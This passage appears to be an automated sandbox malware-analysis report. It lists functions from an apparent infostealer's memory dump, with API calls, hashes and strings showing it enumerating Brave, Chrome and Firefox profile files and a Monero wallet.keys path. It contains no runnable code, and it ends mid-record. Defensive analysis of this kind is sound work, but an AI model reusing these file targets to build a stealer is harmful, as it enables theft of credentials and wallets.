Part of subcall function 0013A8A0: lstrcpy.KERNEL32(?,00140E17), ref: 0013A905

FindFirstFileA.KERNEL32(00000000,?,00140B32,00140B2B,00000000,?,?,?,001413F4,00140B2A), ref: 0012BEF5
StrCmpCA.SHLWAPI(?,001413F8), ref: 0012BF4D
StrCmpCA.SHLWAPI(?,001413FC), ref: 0012BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 0012C7BF
FindClose.KERNEL32(000000FF), ref: 0012C7D1

Strings

\Brave\Preferences, xrefs: 0012C1DB
Preferences, xrefs: 0012C11E
Brave, xrefs: 0012C102
Google Chrome, xrefs: 0012C634

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 7db0857ceb1c53666d7675ed3186614f1683e23fd6b07bb965de1ef9f5f4fc5a
Instruction ID: 928744e46e6e00fdcf3b4c9f480dbcd7202f247b82a19801fe494e8d7ad0899c
Opcode Fuzzy Hash: 7db0857ceb1c53666d7675ed3186614f1683e23fd6b07bb965de1ef9f5f4fc5a
Instruction Fuzzy Hash: E8427772900104ABDB14FBB0DD96EED737DAF64300F808598F946A7191EF34AB49CB92

Function 00134910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0013492C
FindFirstFileA.KERNEL32(?,?), ref: 00134943
StrCmpCA.SHLWAPI(?,00140FDC), ref: 00134971
StrCmpCA.SHLWAPI(?,00140FE0), ref: 00134987
FindNextFileA.KERNEL32(000000FF,?), ref: 00134B7D
FindClose.KERNEL32(000000FF), ref: 00134B92

Strings

%s\*, xrefs: 00134920
%s\%s, xrefs: 001349A4
%s\%s, xrefs: 001349FB

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 8e1891053150488f9f59d2b6b151f77e9d6496c88811c03d688b1f5f922e3716
Instruction ID: 6a1acb3193fe363f59e667c22384f1073bab745da45a41f32e2b8a2a2acef5c6
Opcode Fuzzy Hash: 8e1891053150488f9f59d2b6b151f77e9d6496c88811c03d688b1f5f922e3716
Instruction Fuzzy Hash: 386188B1900618ABCB25EBA0DC49FEA737CBF58701F048598F609A6041EB75EB85CF91

Function 00134570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00134580
RtlAllocateHeap.NTDLL(00000000), ref: 00134587
wsprintfA.USER32 ref: 001345A6
FindFirstFileA.KERNEL32(?,?), ref: 001345BD
StrCmpCA.SHLWAPI(?,00140FC4), ref: 001345EB
StrCmpCA.SHLWAPI(?,00140FC8), ref: 00134601
FindNextFileA.KERNEL32(000000FF,?), ref: 0013468B
FindClose.KERNEL32(000000FF), ref: 001346A0
lstrcat.KERNEL32(?,00FFE868), ref: 001346C5
lstrcat.KERNEL32(?,00FFD880), ref: 001346D8
lstrlen.KERNEL32(?), ref: 001346E5
lstrlen.KERNEL32(?), ref: 001346F6

Strings

%s\%s, xrefs: 0013461B
%s\*, xrefs: 0013459A

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 095256b7e19e3a4bfad6a3df4b272ae402761152ee7e987a224eb7b56ccbe972
Instruction ID: 54bff528d3786076b9e6c93a2a4b44f8329e94ccd5e1a1f040b601dfaf7d9ed5
Opcode Fuzzy Hash: 095256b7e19e3a4bfad6a3df4b272ae402761152ee7e987a224eb7b56ccbe972
Instruction Fuzzy Hash: 255168B1940218ABC725EBB0DC89FED777CAF58700F408598F649A6150EBB5EB84CF91

Function 00133EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00133EC3
FindFirstFileA.KERNEL32(?,?), ref: 00133EDA
StrCmpCA.SHLWAPI(?,00140FAC), ref: 00133F08
StrCmpCA.SHLWAPI(?,00140FB0), ref: 00133F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0013406C
FindClose.KERNEL32(000000FF), ref: 00134081

Strings

%s\%s, xrefs: 00133EB7

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 0cc61c1fa4f8dc490fdaf50a1dc73257f5e0c92d7da3c414bd3a2241841ac165
Instruction ID: 9a656457444c6cf59f0a24a8edba30dfeee65ca1849274c0e6971a50f52af09d
Opcode Fuzzy Hash: 0cc61c1fa4f8dc490fdaf50a1dc73257f5e0c92d7da3c414bd3a2241841ac165
Instruction Fuzzy Hash: 3E5158B1900618ABCB25EBB0DC85EEE777CBF58300F408598F659A6040DB75EB898F95

Function 004F2854 Relevance: 17.9, Strings: 13, Instructions: 1627COMMON

Download Yara Rule

Strings

v_{, xrefs: 004F3275
OEqQ, xrefs: 004F2BED
r7{I, xrefs: 004F333B
M7N|, xrefs: 004F3AEA
Z_|, xrefs: 004F3C05
r_{, xrefs: 004F327A
.XE, xrefs: 004F351D
5zW, xrefs: 004F3AD7
D,Gl, xrefs: 004F394F
{#?, xrefs: 004F298F
Eu{, xrefs: 004F2A1C
A?n, xrefs: 004F3561
ry/, xrefs: 004F2B11

Memory Dump Source

Source File: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .XE$5zW$D,Gl$Eu{$M7N|$OEqQ$r7{I$ry/$r_{$v_{${#?$A?n$Z_|
API String ID: 0-4083549949
Opcode ID: a4b2c570ac56619f621610e656859958b8755b09778df0504e8f589b6bdb6a0f
Instruction ID: f042dfa19cd50f90d73b68100e8f94fa5d15259f0f6afdd2ed7779561e1d2f05
Opcode Fuzzy Hash: a4b2c570ac56619f621610e656859958b8755b09778df0504e8f589b6bdb6a0f
Instruction Fuzzy Hash: 02B25AF360C2009FE7046E2DEC8567AFBE9EF94720F1A493DEAC5C7744E63598018696

Function 0012ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0012ED3E
FindFirstFileA.KERNEL32(?,?), ref: 0012ED55
StrCmpCA.SHLWAPI(?,00141538), ref: 0012EDAB
StrCmpCA.SHLWAPI(?,0014153C), ref: 0012EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0012F2AE
FindClose.KERNEL32(000000FF), ref: 0012F2C3

Strings

%s\*.*, xrefs: 0012ED32

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 4e991fb9d7cb8ecb84ecda396d685f8c2a8bdfb6343e2061de4ee05e619bf728
Instruction ID: 0c755d3cdbcd01474f96067fbf73e68398c3b864aa3d26edc6b57a991c505b2f
Opcode Fuzzy Hash: 4e991fb9d7cb8ecb84ecda396d685f8c2a8bdfb6343e2061de4ee05e619bf728
Instruction Fuzzy Hash: FCE1F972911118AAEB55FB60DC92EEE737CAF64301FC041E9B54A62052EF306F8ACF51

Function 0012F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0013A740: lstrcpy.KERNEL32(00140E17,00000000), ref: 0013A788

Part of subcall function 0013A920: lstrcpy.KERNEL32(00000000,?), ref: 0013A972
Part of subcall function 0013A920: lstrcat.KERNEL32(00000000), ref: 0013A982

Part of subcall function 0013A9B0: lstrlen.KERNEL32(?,00FF90A8,?,\Monero\wallet.keys,00140E17), ref: 0013A9C5
Part of subcall function 0013A9B0: lstrcpy.KERNEL32(00000000), ref: 0013AA04
Part of subcall function 0013A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0013AA12

Part of subcall function 0013A8A0: lstrcpy.KERNEL32(?,00140E17), ref: 0013A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,001415B8,00140D96), ref: 0012F71E
StrCmpCA.SHLWAPI(?,001415BC), ref: 0012F76F
StrCmpCA.SHLWAPI(?,001415C0), ref: 0012F785
FindNextFileA.KERNEL32(000000FF,?), ref: 0012FAB1
FindClose.KERNEL32(000000FF), ref: 0012FAC3

Strings

prefs.js, xrefs: 0012F812

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: fdffca95fcc872e98ea317a2106fd6f75e22508976224f70d7315c7ab44b4455
Instruction ID: 91902ecfac88d648823cf530de2a2355e00c3cc8281de47cf274bb32c6cd512b
Opcode Fuzzy Hash: fdffca95fcc872e98ea317a2106fd6f75e22508976224f70d7315c7ab44b4455
Instruction Fuzzy Hash: FAB14871900118ABDB24FF64DC96FEE7379AF64300F8085A8E54A97151EF316B4ACF92

Function 001216D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0013A740: lstrcpy.KERNEL32(00140E17,00000000), ref: 0013A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0014510C,?,?,?,001451B4,?,?,00000000,?,00000000), ref: 00121923
StrCmpCA.SHLWAPI(?,0014525C), ref: 00121973
StrCmpCA.SHLWAPI(?,00145304), ref: 00121989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00121D40
DeleteFileA.KERNEL32(00000000), ref: 00121DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00121E20
FindClose.KERNEL32(000000FF), ref: 00121E32

Part of subcall function 0013A920: lstrcpy.KERNEL32(00000000,?), ref: 0013A972
Part of subcall function 0013A920: lstrcat.KERNEL32(00000000), ref: 0013A982

Part of subcall function 0013A9B0: lstrlen.KERNEL32(?,00FF90A8,?,\Monero\wallet.keys,00140E17), ref: 0013A9C5
Part of subcall function 0013A9B0: lstrcpy.KERNEL32(00000000), ref: 0013AA04
Part of subcall function 0013A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0013AA12

Part of subcall function 0013A8A0: lstrcpy.KERNEL32(?,00140E17), ref: 0013A905

Strings

\*.*, xrefs: 001217F1

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: f99f5d75bcf01a5b673af3c47d09863759ee2591229ffe56290b3f44f6aca489
Instruction ID: 2f0e767cc9f86c84e1b222a25e97250bd4517097d7dad12500ab88bb0089b571
Opcode Fuzzy Hash: f99f5d75bcf01a5b673af3c47d09863759ee2591229ffe56290b3f44f6aca489
Instruction Fuzzy Hash: 27121071950118ABDB19FB60DC96EEE7378AF74301F8141E9B14A62091EF706F89CFA1

Function 0012DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0013A740: lstrcpy.KERNEL32(00140E17,00000000), ref: 0013A788

Part of subcall function 0013A9B0: lstrlen.KERNEL32(?,00FF90A8,?,\Monero\wallet.keys,00140E17), ref: 0013A9C5
Part of subcall function 0013A9B0: lstrcpy.KERNEL32(00000000), ref: 0013AA04
Part of subcall function 0013A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0013AA12

Part of subcall function 0013A8A0: lstrcpy.KERNEL32(?,00140E17), ref: 0013A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00140C2E), ref: 0012DE5E
StrCmpCA.SHLWAPI(?,001414C8), ref: 0012DEAE
StrCmpCA.SHLWAPI(?,001414CC), ref: 0012DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0012E3E0
FindClose.KERNEL32(000000FF), ref: 0012E3F2

Strings

\*.*, xrefs: 0012DE26

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: bb9cfa99bb3e17077b6ab67fad72301c72a9bd22d1af2852b9f83ef7523fe9be
Instruction ID: b32ca8458387420d4cc31cc530dfa228a954b56b575e4219828453951cda403f
Opcode Fuzzy Hash: bb9cfa99bb3e17077b6ab67fad72301c72a9bd22d1af2852b9f83ef7523fe9be
Instruction Fuzzy Hash: 2AF1AF71854118AADB15FB60DCA5EEE7378BF24301FC141D9B54A62091EF706F8ACF62

Function 0012DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0013A740: lstrcpy.KERNEL32(00140E17,00000000), ref: 0013A788

Part of subcall function 0013A920: lstrcpy.KERNEL32(00000000,?), ref: 0013A972
Part of subcall function 0013A920: lstrcat.KERNEL32(00000000), ref: 0013A982

Part of subcall function 0013A9B0: lstrlen.KERNEL32(?,00FF90A8,?,\Monero\wallet.keys,00140E17), ref: 0013A9C5
Part of subcall function 0013A9B0: lstrcpy.KERNEL32(00000000), ref: 0013AA04
Part of subcall function 0013A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0013AA12

Part of subcall function 0013A8A0: lstrcpy.KERNEL32(?,00140E17), ref: 0013A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,001414B0,00140C2A), ref: 0012DAEB
StrCmpCA.SHLWAPI(?,001414B4), ref: 0012DB33
StrCmpCA.SHLWAPI(?,001414B8), ref: 0012DB49
FindNextFileA.KERNEL32(000000FF,?), ref: 0012DDCC
FindClose.KERNEL32(000000FF), ref: 0012DDDE

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: b41aacde2af924a0ed5d39114e4f0946139b15bf42bb94082186b02887cf05fb
Instruction ID: 8992821018a3c80e0ae30d42c94bca7545e70e0d308c11058202c5ab4baf2c5d
Opcode Fuzzy Hash: b41aacde2af924a0ed5d39114e4f0946139b15bf42bb94082186b02887cf05fb
Instruction Fuzzy Hash: A0916972900114A7DB14FBB0FC96DED737DAFA4300F808558F94A96181EF349B59CB92

Function 004EF124 Relevance: 12.9, Strings: 9, Instructions: 1676COMMON

Download Yara Rule

Strings

:4GM, xrefs: 004EFF81
2;}k, xrefs: 004EFEE8
Bk, xrefs: 004EFE0C
T&, xrefs: 004F00E3
h9, xrefs: 004EFCB1
E`uy, xrefs: 004EFC95
kM, xrefs: 004EF6D2
u\t, xrefs: 004F03B4
8wm, xrefs: 004EFD58

Memory Dump Source

